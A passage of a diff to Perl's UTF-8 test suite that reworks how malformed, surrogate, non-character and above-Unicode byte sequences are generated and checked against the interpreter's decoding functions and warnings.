-                $::UTF8_WARN_ABOVE_31_BIT,$::UTF8_DISALLOW_ABOVE_31_BIT,
-                $::UTF8_GOT_ABOVE_31_BIT,
-                'utf8', 0x800000000,
-                $::max_bytes, 7,
-                nonportable_regex(0x80000000)
-            ],
-            [ "requires at least 32 bits",
-                I8_to_native(
+                    0x800000000,
+                      40000000
+                ],
+                [ "requires at least 32 bits",
+                    I8_to_native(
                     "\xff\xa0\xa0\xa0\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
-                $::UTF8_WARN_ABOVE_31_BIT,$::UTF8_DISALLOW_ABOVE_31_BIT,
-                $::UTF8_GOT_ABOVE_31_BIT,
-                'utf8', 0x10000000000,
-                $::max_bytes, 6,
-                nonportable_regex(0x10000000000)
-            ],
-            [ "requires at least 32 bits",
-                I8_to_native(
+                    0x10000000000,
+                ],
+                [ "requires at least 32 bits",
+                    I8_to_native(
                     "\xff\xa0\xa0\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
-                $::UTF8_WARN_ABOVE_31_BIT,$::UTF8_DISALLOW_ABOVE_31_BIT,
-                $::UTF8_GOT_ABOVE_31_BIT,
-                'utf8', 0x200000000000,
-                $::max_bytes, 5,
-                nonportable_regex(0x20000000000)
-            ],
-            [ "requires at least 32 bits",
-                I8_to_native(
+                    0x200000000000,
+                ],
+                [ "requires at least 32 bits",
+                    I8_to_native(
                     "\xff\xa0\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
-                $::UTF8_WARN_ABOVE_31_BIT,$::UTF8_DISALLOW_ABOVE_31_BIT,
-                $::UTF8_GOT_ABOVE_31_BIT,
-                'utf8', 0x4000000000000,
-                $::max_bytes, 4,
-                nonportable_regex(0x4000000000000)
-            ],
-            [ "requires at least 32 bits",
-                I8_to_native(
+                    0x4000000000000,
+                ],
+                [ "requires at least 32 bits",
+                    I8_to_native(
                     "\xff\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
-                $::UTF8_WARN_ABOVE_31_BIT,$::UTF8_DISALLOW_ABOVE_31_BIT,
-                $::UTF8_GOT_ABOVE_31_BIT,
-                'utf8', 0x80000000000000,
-                $::max_bytes, 3,
-                nonportable_regex(0x80000000000000)
-            ],
-            [ "requires at least 32 bits",
-                I8_to_native(
+                    0x80000000000000,
+                ],
+                [ "requires at least 32 bits",
+                    I8_to_native(
                     "\xff\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
-                $::UTF8_WARN_ABOVE_31_BIT,$::UTF8_DISALLOW_ABOVE_31_BIT,
-                $::UTF8_GOT_ABOVE_31_BIT,
-                'utf8', 0x1000000000000000,
-                $::max_bytes, 2,
-                nonportable_regex(0x1000000000000000)
-            ];
+                    0x1000000000000000,
+                ];
+        }
     }
 }
 
+sub flags_to_text($$)
+{
+    my ($flags, $flags_to_text_ref) = @_;
+
+    # Returns a string containing a mnemonic representation of the bits that
+    # are set in the $flags.  These are assumed to be flag bits.  The return
+    # looks like "FOO|BAR|BAZ".  The second parameter is a reference to an
+    # array that gives the textual representation of all the possible flags.
+    # Element 0 is the text for the bit 0 flag; element 1 for bit 1; ....  If
+    # no bits at all are set the string "0" is returned;
+
+    my @flag_text;
+    my $shift = 0;
+
+    return "0" if $flags == 0;
+
+    while ($flags) {
+        #diag sprintf "%x", $flags;
+        if ($flags & 1) {
+            push @flag_text, $flags_to_text_ref->[$shift];
+        }
+        $shift++;
+        $flags >>= 1;
+    }
+
+    return join "|", @flag_text;
+}
+
+# Possible flag returns from utf8n_to_uvchr_error().  These should have G_,
+# instead of A_, D_, but the prefixes will be used in a a later commit, so
+# minimize churn by having them here.
+my @utf8n_flags_to_text =  ( qw(
+        A_EMPTY
+        A_CONTINUATION
+        A_NON_CONTINUATION
+        A_SHORT
+        A_LONG
+        A_LONG_AND_ITS_VALUE
+        PLACEHOLDER
+        A_OVERFLOW
+        D_SURROGATE
+        W_SURROGATE
+        D_NONCHAR
+        W_NONCHAR
+        D_SUPER
+        W_SUPER
+        D_PERL_EXTENDED
+        W_PERL_EXTENDED
+        CHECK_ONLY
+        NO_CONFIDENCE_IN_CURLEN_
+    ) );
+
+sub utf8n_display_call($)
+{
+    # Converts an eval string that calls test_utf8n_to_uvchr into a more human
+    # readable form, and returns it.  Doesn't work if the byte string contains
+    # an apostrophe.  The return will look something like:
+    #   test_utf8n_to_uvchr_error('$bytes', $length, $flags)
+    #diag $_[0];
+
+    $_[0] =~ / ^ ( [^(]* \( ) ' ( [^']*? ) ' ( .+ , \D* ) ( \d+ ) \) $ /x;
+    my $text1 = $1;     # Everything before the byte string
+    my $bytes = $2;
+    my $text2 = $3;     # Includes the length
+    my $flags = $4;
+
+    return $text1
+         . display_bytes($bytes)
+         . $text2
+         . flags_to_text($flags, \@utf8n_flags_to_text)
+         . ')';
+}
+
+my @uvchr_flags_to_text =  ( qw(
+        W_SURROGATE
+        W_NONCHAR
+        W_SUPER
+        W_PERL_EXTENDED
+        D_SURROGATE
+        D_NONCHAR
+        D_SUPER
+        D_PERL_EXTENDED
+) );
+
+sub uvchr_display_call($)
+{
+    # Converts an eval string that calls test_uvchr_to_utf8 into a more human
+    # readable form, and returns it.  The return will look something like:
+    #   test_uvchr_to_utf8n_flags($uv, $flags)
+    #diag $_[0];
+
+
+    $_[0] =~ / ^ ( [^(]* \( ) ( \d+ ) , \s* ( \d+ ) \) $ /x;
+    my $text = $1;
+    my $cp = sprintf "%X", $2;
+    my $flags = $3;
+
+    return "${text}0x$cp, " . flags_to_text($flags, \@uvchr_flags_to_text) . ')';
+}
+
+sub do_warnings_test(@)
+{
+    my @expected_warnings = @_;
+
+    # Compares the input expected warnings array with @warnings_gotten,
+    # generating a pass for each found, removing it from @warnings_gotten.
+    # Any discrepancies generate test failures.  Returns TRUE if no
+    # discrepcancies; otherwise FALSE.
+
+    my $succeeded = 1;
+
+    if (@expected_warnings == 0) {
+        if (! is(@warnings_gotten, 0, "    Expected and got no warnings")) {
+            output_warnings(@warnings_gotten);
+            $succeeded = 0;
+        }
+        return $succeeded;
+    }
+
+    # Check that we got all the expected warnings,
+    # removing each one found
+  WARNING:
+    foreach my $expected (@expected_warnings) {
+        foreach (my $i = 0; $i < @warnings_gotten; $i++) {
+            if ($warnings_gotten[$i] =~ $expected) {
+                pass("    Expected and got warning: "
+                    . " $warnings_gotten[$i]");
+                splice @warnings_gotten, $i, 1;
+                next WARNING;
+            }
+        }
+        fail("    Expected a warning that matches "
+            . $expected . " but didn't get it");
+        $succeeded = 0;
+    }
+
+    if (! is(@warnings_gotten, 0, "    Got no unexpected warnings")) {
+        output_warnings(@warnings_gotten);
+        $succeeded = 0;
+    }
+
+    return $succeeded;
+}
+
 # This test is split into this number of files.
 my $num_test_files = $ENV{TEST_JOBS} || 1;
 $num_test_files = 10 if $num_test_files > 10;
 
+# We only really need to test utf8n_to_uvchr_msgs() once with this flag.
+my $tested_CHECK_ONLY = 0;
+
 my $test_count = -1;
 foreach my $test (@tests) {
-    $test_count++;
-    next if $test_count % $num_test_files != $::TEST_CHUNK;
+  $test_count++;
+  next if $test_count % $num_test_files != $::TEST_CHUNK;
 
-    my ($testname, $bytes, $warn_flags, $disallow_flags, $expected_error_flags,
-        $category, $allowed_uv, $expected_len, $needed_to_discern_len, $message
-       ) = @$test;
+  my ($testname, $bytes, $allowed_uv, $needed_to_discern_len) = @$test;
 
-    my $length = length $bytes;
-    my $will_overflow = $testname =~ /overflow/ ? 'overflow' : "";
+  my $length = length $bytes;
+  my $initially_overlong = $testname =~ /overlong/;
+  my $initially_orphan   = $testname =~ /orphan/;
+  my $will_overflow = $allowed_uv < 0;
 
-    {
-        use warnings;
-        undef @warnings;
-        my $ret = test_isUTF8_CHAR($bytes, $length);
-        my $ret_flags = test_isUTF8_CHAR_flags($bytes, $length, 0);
-        if ($will_overflow) {
-            is($ret, 0, "isUTF8_CHAR() $testname: returns 0");
-            is($ret_flags, 0, "isUTF8_CHAR_flags() $testname: returns 0");
-        }
-        else {
-            is($ret, $length,
-               "isUTF8_CHAR() $testname: returns expected length: $length");
-            is($ret_flags, $length, "isUTF8_CHAR_flags(...,0) $testname:"
-                                  . " returns expected length: $length");
-        }
-        is(scalar @warnings, 0,
-                "isUTF8_CHAR() and isUTF8_CHAR()_flags $testname: generated"
-              . " no warnings")
-          or output_warnings(@warnings);
+  my $uv_string = sprintf(($allowed_uv < 0x100) ? "%02X" : "%04X", $allowed_uv);
+  my $display_bytes = display_bytes($bytes);
 
-        undef @warnings;
-        $ret = test_isSTRICT_UTF8_CHAR($bytes, $length);
-        if ($will_overflow) {
-            is($ret, 0, "isSTRICT_UTF8_CHAR() $testname: returns 0");
-        }
-        else {
-            my $expected_ret = (   $testname =~ /surrogate|non-character/
-                                || $allowed_uv > 0x10FFFF)
-                               ? 0
-                               : $length;
-            is($ret, $expected_ret, "isSTRICT_UTF8_CHAR() $testname: returns"
-                                  . " expected length: $expected_ret");
-            $ret = test_isUTF8_CHAR_flags($bytes, $length,
-                                          $::UTF8_DISALLOW_ILLEGAL_INTERCHANGE);
-            is($ret, $expected_ret,
-                            "isUTF8_CHAR_flags('DISALLOW_ILLEGAL_INTERCHANGE')"
-                          . " acts like isSTRICT_UTF8_CHAR");
-        }
-        is(scalar @warnings, 0,
-                "isSTRICT_UTF8_CHAR() and isUTF8_CHAR_flags $testname:"
-              . " generated no warnings")
-          or output_warnings(@warnings);
+  my $controlling_warning_category;
+  my $utf8n_flag_to_warn;
+  my $utf8n_flag_to_disallow;
+  my $uvchr_flag_to_warn;
+  my $uvchr_flag_to_disallow;
 
-        undef @warnings;
-        $ret = test_isC9_STRICT_UTF8_CHAR($bytes, $length);
-        if ($will_overflow) {
-            is($ret, 0, "isC9_STRICT_UTF8_CHAR() $testname: returns 0");
-        }
-        else {
-            my $expected_ret = (   $testname =~ /surrogate/
-                                || $allowed_uv > 0x10FFFF)
-                               ? 0
-                               : $length;
-            is($ret, $expected_ret, "isC9_STRICT_UTF8_CHAR() $testname:"
-                                   ." returns expected length: $expected_ret");
-            $ret = test_isUTF8_CHAR_flags($bytes, $length,
-                                          $::UTF8_DISALLOW_ILLEGAL_C9_INTERCHANGE);
-            is($ret, $expected_ret,
-                          "isUTF8_CHAR_flags('DISALLOW_ILLEGAL_C9_INTERCHANGE')"
-                        . " acts like isC9_STRICT_UTF8_CHAR");
-        }
-        is(scalar @warnings, 0,
-                "isC9_STRICT_UTF8_CHAR() and isUTF8_CHAR_flags $testname:"
-              . " generated no warnings")
-          or output_warnings(@warnings);
+  # We want to test that the independent flags are actually independent.
+  # For example, that a surrogate doesn't trigger a non-character warning,
+  # and conversely, turning off an above-Unicode flag doesn't suppress a
+  # surrogate warning.  Earlier versions of this file used nested loops to
+  # test all possible combinations.  But that creates lots of tests, making
+  # this run too long.  What is now done instead is to use the complement of
+  # the category we are testing to greatly reduce the combinatorial
+  # explosion.  For example, if we have a surrogate and we aren't expecting
+  # a warning about it, we set all the flags for non-surrogates to raise
+  # warnings.  If one shows up, it indicates the flags aren't independent.
+  my $utf8n_flag_to_warn_complement;
+  my $utf8n_flag_to_disallow_complement;
+  my $uvchr_flag_to_warn_complement;
+  my $uvchr_flag_to_disallow_complement;
 
-        # Test partial character handling, for each byte not a full character
-        for my $j (1.. $length - 1) {
+  # Many of the code points being tested are middling in that if code point
+  # edge cases work, these are very likely to as well.  Because this test
+  # file takes a while to execute, we skip testing the edge effects of code
+  # points deemed middling, while testing their basics and continuing to
+  # fully test the non-middling code points.
+  my $skip_most_tests = 0;
 
-            # Skip the test for the interaction between overflow and above-31
-            # bit.  It is really testing other things than the partial
-            # character tests, for which other tests in this file are
-            # sufficient
-            last if $testname =~ /overflow/;
+  my $cp_message_qr;      # Pattern that matches the message raised when
+                          # that message contains the problematic code
+                          # point.  The message is the same (currently) both
+                          # when going from/to utf8.
+  my $non_cp_trailing_text;   # The suffix text when the message doesn't
+                              # contain a code point.  (This is a result of
+                              # some sort of malformation that means we
+                              # can't get an exact code poin
+  my $extended_cp_message_qr = qr/\QCode point 0x$uv_string is not Unicode,\E
+                      \Q requires a Perl extension, and so is not\E
+                      \Q portable\E/x;
+  my $extended_non_cp_trailing_text
+                      = "is a Perl extension, and so is not portable";
 
-            foreach my $disallow_flag (0, $disallow_flags) {
-                my $partial = substr($bytes, 0, $j);
-                my $ret_should_be;
-                my $comment;
-                if ($disallow_flag) {
-                    $ret_should_be = 0;
-                    $comment = "disallowed";
-                    if ($j < $needed_to_discern_len) {
-                        $ret_should_be = 1;
-                        $comment .= ", but need $needed_to_discern_len bytes"
-                                 .  " to discern:";
-                    }
-                }
-                else {
-                    $ret_should_be = 1;
-                    $comment = "allowed";
-                }
+  # What bytes should have been used to specify a code point that has been
+  # specified as an overlong.
+  my $correct_bytes_for_overlong;
 
-                undef @warnings;
+  # Is this test malformed from the beginning?  If so, we know to generally
+  # expect that the tests will show it isn't valid.
+  my $initially_malformed = 0;
 
-                $ret = test_is_utf8_valid_partial_char_flags($partial, $j,
-                                                             $disallow_flag);
-                is($ret, $ret_should_be,
-                                "$testname: is_utf8_valid_partial_char_flags("
-                                        . display_bytes($partial)
-                                        . "), $comment: returns $ret_should_be");
-                is(scalar @warnings, 0,
-                        "$testname: is_utf8_valid_partial_char_flags()"
-                      . " generated no warnings")
-                  or output_warnings(@warnings);
+  if ($initially_overlong || $initially_orphan) {
+      $non_cp_trailing_text = "if you see this, there is an error";
+      $cp_message_qr = qr/\Q$non_cp_trailing_text\E/;
+      $initially_malformed = 1;
+      $utf8n_flag_to_warn     = 0;
+      $utf8n_flag_to_disallow = 0;
+
+      $utf8n_flag_to_warn_complement =     $::UTF8_WARN_SURROGATE;
+      $utf8n_flag_to_disallow_complement = $::UTF8_DISALLOW_SURROGATE;
+      if (! $will_overflow && $allowed_uv <= 0x10FFFF) {
+          $utf8n_flag_to_warn_complement     |= $::UTF8_WARN_SUPER;
+          $utf8n_flag_to_disallow_complement |= $::UTF8_DISALLOW_SUPER;
+          if (($allowed_uv & 0xFFFF) != 0xFFFF) {
+              $utf8n_flag_to_warn_complement      |= $::UTF8_WARN_NONCHAR;
+              $utf8n_flag_to_disallow_complement  |= $::UTF8_DISALLOW_NONCHAR;
+          }
+      }
+      if (! is_extended_utf8($bytes)) {
+          $utf8n_flag_to_warn_complement |= $::UTF8_WARN_PERL_EXTENDED;
+          $utf8n_flag_to_disallow_complement  |= $::UTF8_DISALLOW_PERL_EXTENDED;
+      }
+
+      $controlling_warning_category = 'utf8';
+
+      if ($initially_overlong) {
+          if (! defined $needed_to_discern_len) {
+              $needed_to_discern_len = overlong_discern_len($bytes);
+          }
+          $correct_bytes_for_overlong = display_bytes_no_quotes(chr $allowed_uv);
+      }
+  }
+  elsif($will_overflow || $allowed_uv > 0x10FFFF) {
+
+      # Set the SUPER flags; later, we test for PERL_EXTENDED as well.
+      $utf8n_flag_to_warn     = $::UTF8_WARN_SUPER;
+      $utf8n_flag_to_disallow = $::UTF8_DISALLOW_SUPER;
+      $uvchr_flag_to_warn     = $::UNICODE_WARN_SUPER;
+      $uvchr_flag_to_disallow = $::UNICODE_DISALLOW_SUPER;;
+
+      # Below, we add the flags for non-perl_extended to the code points
+      # that don't fit that category.  Special tests are done for this
+      # category in the inner loop.
+      $utf8n_flag_to_warn_complement     = $::UTF8_WARN_NONCHAR
+                                          |$::UTF8_WARN_SURROGATE;
+      $utf8n_flag_to_disallow_complement = $::UTF8_DISALLOW_NONCHAR
+                                          |$::UTF8_DISALLOW_SURROGATE;
+      $uvchr_flag_to_warn_complement     = $::UNICODE_WARN_NONCHAR
+                                          |$::UNICODE_WARN_SURROGATE;
+      $uvchr_flag_to_disallow_complement = $::UNICODE_DISALLOW_NONCHAR
+                                          |$::UNICODE_DISALLOW_SURROGATE;
+      $controlling_warning_category = 'non_unicode';
+
+      if ($will_overflow) {  # This is realy a malformation
+          $non_cp_trailing_text = "if you see this, there is an error";
+          $cp_message_qr = qr/\Q$non_cp_trailing_text\E/;
+          $initially_malformed = 1;
+          if (! defined $needed_to_discern_len) {
+              $needed_to_discern_len = overflow_discern_len($length);
+          }
+      }
+      elsif (requires_extended_utf8($allowed_uv)) {
+          $cp_message_qr = $extended_cp_message_qr;
+          $non_cp_trailing_text = $extended_non_cp_trailing_text;
+          $needed_to_discern_len = 1 unless defined $needed_to_discern_len;
+      }
+      else {
+          $cp_message_qr = qr/\QCode point 0x$uv_string is not Unicode,\E
+                              \Q may not be portable\E/x;
+          $non_cp_trailing_text = "is for a non-Unicode code point, may not"
+                              . " be portable";
+          $utf8n_flag_to_warn_complement     |= $::UTF8_WARN_PERL_EXTENDED;
+          $utf8n_flag_to_disallow_complement
+                                          |= $::UTF8_DISALLOW_PERL_EXTENDED;
+          $uvchr_flag_to_warn_complement |= $::UNICODE_WARN_PERL_EXTENDED;
+          $uvchr_flag_to_disallow_complement
+                                      |= $::UNICODE_DISALLOW_PERL_EXTENDED;
+      }
+  }
+  elsif ($allowed_uv >= 0xD800 && $allowed_uv <= 0xDFFF) {
+      $cp_message_qr = qr/UTF-16 surrogate U\+$uv_string/;
+      $non_cp_trailing_text = "is for a surrogate";
+      $needed_to_discern_len = 2 unless defined $needed_to_discern_len;
+      $skip_most_tests = 1 if $allowed_uv > 0xD800 && $allowed_uv < 0xDFFF;
+
+      $utf8n_flag_to_warn     = $::UTF8_WARN_SURROGATE;
+      $utf8n_flag_to_disallow = $::UTF8_DISALLOW_SURROGATE;
+      $uvchr_flag_to_warn     = $::UNICODE_WARN_SURROGATE;
+      $uvchr_flag_to_disallow = $::UNICODE_DISALLOW_SURROGATE;;
+
+      $utf8n_flag_to_warn_complement     = $::UTF8_WARN_NONCHAR
+                                          |$::UTF8_WARN_SUPER
+                                          |$::UTF8_WARN_PERL_EXTENDED;
+      $utf8n_flag_to_disallow_complement = $::UTF8_DISALLOW_NONCHAR
+                                          |$::UTF8_DISALLOW_SUPER
+                                          |$::UTF8_DISALLOW_PERL_EXTENDED;
+      $uvchr_flag_to_warn_complement     = $::UNICODE_WARN_NONCHAR
+                                          |$::UNICODE_WARN_SUPER
+                                          |$::UNICODE_WARN_PERL_EXTENDED;
+      $uvchr_flag_to_disallow_complement = $::UNICODE_DISALLOW_NONCHAR
+                                          |$::UNICODE_DISALLOW_SUPER
+                                          |$::UNICODE_DISALLOW_PERL_EXTENDED;
+      $controlling_warning_category = 'surrogate';
+  }
+  elsif (   ($allowed_uv >= 0xFDD0 && $allowed_uv <= 0xFDEF)
+          || ($allowed_uv & 0xFFFE) == 0xFFFE)
+  {
+      $cp_message_qr = qr/\QUnicode non-character U+$uv_string\E
+                          \Q is not recommended for open interchange\E/x;
+      $non_cp_trailing_text = "if you see this, there is an error";
+      $needed_to_discern_len = $length unless defined $needed_to_discern_len;
+      if (   ($allowed_uv > 0xFDD0 && $allowed_uv < 0xFDEF)
+          || ($allowed_uv > 0xFFFF && $allowed_uv < 0x10FFFE))
+      {
+          $skip_most_tests = 1;
+      }
+
+      $utf8n_flag_to_warn     = $::UTF8_WARN_NONCHAR;
+      $utf8n_flag_to_disallow = $::UTF8_DISALLOW_NONCHAR;
+      $uvchr_flag_to_warn     = $::UNICODE_WARN_NONCHAR;
+      $uvchr_flag_to_disallow = $::UNICODE_DISALLOW_NONCHAR;;
+
+      $utf8n_flag_to_warn_complement     = $::UTF8_WARN_SURROGATE
+                                          |$::UTF8_WARN_SUPER
+                                          |$::UTF8_WARN_PERL_EXTENDED;
+      $utf8n_flag_to_disallow_complement = $::UTF8_DISALLOW_SURROGATE
+                                          |$::UTF8_DISALLOW_SUPER
+                                          |$::UTF8_DISALLOW_PERL_EXTENDED;
+      $uvchr_flag_to_warn_complement     = $::UNICODE_WARN_SURROGATE
+                                          |$::UNICODE_WARN_SUPER
+                                          |$::UNICODE_WARN_PERL_EXTENDED;
+      $uvchr_flag_to_disallow_complement = $::UNICODE_DISALLOW_SURROGATE
+                                          |$::UNICODE_DISALLOW_SUPER
+                                          |$::UNICODE_DISALLOW_PERL_EXTENDED;
+
+      $controlling_warning_category = 'nonchar';
+  }
+  else {
+      die "Can't figure out what type of warning to test for $testname"
+  }
+
+  die 'Didn\'t set $needed_to_discern_len for ' . $testname
+                                      unless defined $needed_to_discern_len;
+
+  # We try various combinations of malformations that can occur
+  foreach my $short (0, 1) {
+    next if $skip_most_tests && $short;
+    foreach my $unexpected_noncont (0, 1) {
+      next if $skip_most_tests && $unexpected_noncont;
+      foreach my $overlong (0, 1) {
+        next if $overlong && $skip_most_tests;
+        next if $initially_overlong && ! $overlong;
+
+        # If we're creating an overlong, it can't be longer than the
+        # maximum length, so skip if we're already at that length.
+        next if   (! $initially_overlong && $overlong)
+                  &&  $length >= $::max_bytes;
+
+        my $this_cp_message_qr = $cp_message_qr;
+        my $this_non_cp_trailing_text = $non_cp_trailing_text;
+
+        foreach my $malformed_allow_type (0..2) {
+          # 0 don't allow this malformation; ignored if no malformation
+          # 1 allow, with REPLACEMENT CHARACTER returned
+          # 2 allow, with intended code point returned.  All malformations
+          #   other than overlong can't determine the intended code point,
+          #   so this isn't valid for them.
+          next if     $malformed_allow_type == 2
+                  && ($will_overflow || $short || $unexpected_noncont);
+          next if $skip_most_tests && $malformed_allow_type;
+
+          # Here we are in the innermost loop for malformations.  So we
+          # know which ones are in effect.  Can now change the input to be
+          # appropriately malformed.  We also can set up certain other
+          # things now, like whether we expect a return flag from this
+          # malformation, and which flag.
+
+          my $this_bytes = $bytes;
+          my $this_length = $length;
+          my $this_expected_len = $length;
+          my $this_needed_to_discern_len = $needed_to_discern_len;
+
+          my @malformation_names;
+          my @expected_malformation_warnings;
+          my @expected_malformation_return_flags;
+
+          # Contains the flags for any allowed malformations.  Currently no
+          # combinations of on/off are tested for.  It's either all are
+          # allowed, or none are.
+          my $allow_flags = 0;
+          my $overlong_is_in_perl_extended_utf8 = 0;
+          my $dont_use_overlong_cp = 0;
+
+          if ($initially_orphan) {
+              next if $overlong || $short || $unexpected_noncont;
+          }
+
+          if ($overlong) {
+              if (! $initially_overlong) {
+                  my $new_expected_len;
+
+                  # To force this malformation, we convert the original start
+                  # byte into a continuation byte with the same data bits as
+                  # originally. ...
+                  my $start_byte = substr($this_bytes, 0, 1);
+                  my $converted_to_continuation_byte
+                                          = start_byte_to_cont($start_byte);
+
+                  # ... Then we prepend it with a known overlong sequence.
+                  # This should evaluate to the exact same code point as the
+                  # original.  We try to avoid an overlong using Perl
+                  # extended UTF-8.  The code points are the highest
+                  # representable as overlongs on the respective platform
+                  # without using extended UTF-8.
+                  if (native_to_I8($start_byte) lt "\xFC") {
+                      $start_byte = I8_to_native("\xFC");
+                      $new_expected_len = 6;
+                  }
+                  elsif (! isASCII && native_to_I8($start_byte) lt "\xFE") {
+
+                      # FE is not extended UTF-8 on EBCDIC
+                      $start_byte = I8_to_native("\xFE");
+                      $new_expected_len = 7;
+                  }
+                  else {  # Must use extended UTF-8.  On ASCII platforms, we
+                          # could express some overlongs here starting with
+                          # \xFE, but there's no real reason to do so.
+                      $overlong_is_in_perl_extended_utf8 = 1;
+                      $start_byte = I8_to_native("\xFF");
+                      $new_expected_len = $::max_bytes;
+                      $this_cp_message_qr = $extended_cp_message_qr;
+
+                      # The warning that gets raised doesn't include the
+                      # code point in the message if the code point can be
+                      # expressed without using extended UTF-8, but the
+                      # particular overlong sequence used is in extended
+                      # UTF-8.  To do otherwise would be confusing to the
+                      # user, as it would claim the code point requires
+                      # extended, when it doesn't.
+                      $dont_use_overlong_cp = 1
+                                  unless requires_extended_utf8($allowed_uv);
+                      $this_non_cp_trailing_text
+                                            = $extended_non_cp_trailing_text;
+                  }
+
+                  # Splice in the revise continuation byte, preceded by the
+                  # start byte and the proper number of the lowest
+                  # continuation bytes.
+                  $this_bytes =   $start_byte
+                              . ($native_lowest_continuation_chr
+                                  x (  $new_expected_len
+                                      - 1
+                                      - length($this_bytes)))
+                              .  $converted_to_continuation_byte
+                              .  substr($this_bytes, 1);
+                  $this_length = length($this_bytes);
+                  $this_needed_to_discern_len =    $new_expected_len
+                                              - (  $this_expected_len
+                                              - $this_needed_to_discern_len);
+                  $this_expected_len = $new_expected_len;
+              }
+          }
+
+          if ($short) {
+
+              # To force this malformation, just tell the test to not look
+              # as far as it should into the input.
+              $this_length--;
+              $this_expected_len--;
+
+              $allow_flags |= $::UTF8_ALLOW_SHORT if $malformed_allow_type;
+          }
+
+          if ($unexpected_noncont) {
+
+              # To force this malformation, change the final continuation
+              # byte into a start byte.
+              my $pos = ($short) ? -2 : -1;
+              substr($this_bytes, $pos, 1) = $known_start_byte;
+              $this_expected_len--;
+          }
+
+          # The whole point of a test that is malformed from the beginning
+          # is to test for that malformation.  If we've modified things so
+          # much that we don't have enough information to detect that
+          # malformation, there's no point in testing.
+          next if    $initially_malformed
+                  && $this_expected_len < $this_needed_to_discern_len;
+
+          # Here, we've transformed the input with all of the desired
+          # non-overflow malformations.  We are now in a position to
+          # construct any potential warnings for those malformations.  But
+          # it's a pain to get the detailed messages exactly right, so for
+          # now XXX, only do so for those that return an explicit code
+          # point.
+
+          if ($initially_orphan) {
+              push @malformation_names, "orphan continuation";
+              push @expected_malformation_return_flags,
+                                                  $::UTF8_GOT_CONTINUATION;
+              $allow_flags |= $::UTF8_ALLOW_CONTINUATION
+                                                  if $malformed_allow_type;
+              push @expected_malformation_warnings, qr/unexpected continuation/;
+          }
+
+          if ($overlong) {
+              push @malformation_names, 'overlong';
+              push @expected_malformation_return_flags, $::UTF8_GOT_LONG;
+
+              # If one of the other malformation types is also in effect, we
+              # don't know what the intended code point was.
+              if ($short || $unexpected_noncont || $will_overflow) {
+                  push @expected_malformation_warnings, qr/overlong/;
+              }
+              else {
+                  my $wrong_bytes = display_bytes_no_quotes(
+                                        substr($this_bytes, 0, $this_length));
+                  if (! defined $correct_bytes_for_overlong) {
+                      $correct_bytes_for_overlong
+                                          = display_bytes_no_quotes($bytes);
+                  }
+                  my $prefix = (   $allowed_uv > 0x10FFFF
+                                || ! isASCII && $allowed_uv < 256)
+                                ? "0x"
+                                : "U+";
+                  push @expected_malformation_warnings,
+                          qr/\QMalformed UTF-8 character: $wrong_bytes\E
+                              \Q (overlong; instead use\E
+                              \Q $correct_bytes_for_overlong to\E
+                              \Q represent $prefix$uv_string)/x;
+              }
+
+              if ($malformed_allow_type == 2) {
+                  $allow_flags |= $::UTF8_ALLOW_LONG_AND_ITS_VALUE;
+              }
+              elsif ($malformed_allow_type) {
+                  $allow_flags |= $::UTF8_ALLOW_LONG;
+              }
+          }
+          if ($short) {
+              push @malformation_names, 'short';
+              push @expected_malformation_return_flags, $::UTF8_GOT_SHORT;
+              push @expected_malformation_warnings, qr/too short/;
+          }
+          if ($unexpected_noncont) {
+              push @malformation_names, 'unexpected non-continuation';
+              push @expected_malformation_return_flags,
+                              $::UTF8_GOT_NON_CONTINUATION;
+              $allow_flags |= $::UTF8_ALLOW_NON_CONTINUATION
+                                                  if $malformed_allow_type;
+              push @expected_malformation_warnings,
+                                      qr/unexpected non-continuation byte/;
+          }
+
+          # The overflow malformation is done differently than other
+          # malformations.  It comes from manually typed tests in the test
+          # array.  We now make it be treated like one of the other
+          # malformations.  But some has to be deferred until the inner loop
+          my $overflow_msg_pattern;
+          if ($will_overflow) {
+              push @malformation_names, 'overflow';
+
+              $overflow_msg_pattern = display_bytes_no_quotes(
+                                  substr($this_bytes, 0, $this_expected_len));
+              $overflow_msg_pattern = qr/\QMalformed UTF-8 character:\E
+                                          \Q $overflow_msg_pattern\E
+                                          \Q (overflows)\E/x;
+              push @expected_malformation_return_flags, $::UTF8_GOT_OVERFLOW;
+              $allow_flags |= $::UTF8_ALLOW_OVERFLOW if $malformed_allow_type;
+          }
+
+          # And we can create the malformation-related text for the the test
+          # names we eventually will generate.
+          my $malformations_name = "";
+          if (@malformation_names) {
+              $malformations_name .= "dis" unless $malformed_allow_type;
+              $malformations_name .= "allowed ";
+              $malformations_name .= "malformation";
+              $malformations_name .= "s" if @malformation_names > 1;
+              $malformations_name .= ": ";
+              $malformations_name .=  join "/", @malformation_names;
+              $malformations_name =  " ($malformations_name)";
+          }
+
+          # Done setting up the malformation related stuff
+
+          {   # First test the isFOO calls
+              use warnings; # XXX no warnings 'deprecated';   # Make sure these don't raise warnings
+              undef @warnings_gotten;
+
+              my $ret = test_isUTF8_CHAR($this_bytes, $this_length);
+              my $ret_flags
+                      = test_isUTF8_CHAR_flags($this_bytes, $this_length, 0);
+              if ($malformations_name) {
+                  is($ret, 0, "For $testname$malformations_name: isUTF8_CHAR() returns 0");
+                  is($ret_flags, 0, "    And isUTF8_CHAR_flags() returns 0");
+              }
+              else {
+                  is($ret, $this_length, "For $testname: isUTF8_CHAR() returns"
+                                        . " expected length: $this_length");
+                  is($ret_flags, $this_length,
+                      "    And isUTF8_CHAR_flags(...,0) returns expected"
+                    . " length: $this_length");
+              }
+              is(scalar @warnings_gotten, 0,
+                  "    And neither isUTF8_CHAR() nor isUTF8_CHAR()_flags"
+                . " generated any warnings")
+              or output_warnings(@warnings_gotten);
+
+              undef @warnings_gotten;
+              $ret = test_isSTRICT_UTF8_CHAR($this_bytes, $this_length);
+              if ($malformations_name) {
+                  is($ret, 0, "    And isSTRICT_UTF8_CHAR() returns 0");
+              }
+              else {
+                  my $expected_ret
+                              = (   $testname =~ /surrogate|non-character/
+                                  || $allowed_uv > 0x10FFFF)
+                                ? 0
+                                : $this_length;
+                  is($ret, $expected_ret,
+                      "    And isSTRICT_UTF8_CHAR() returns expected"
+                    . " length: $expected_ret");
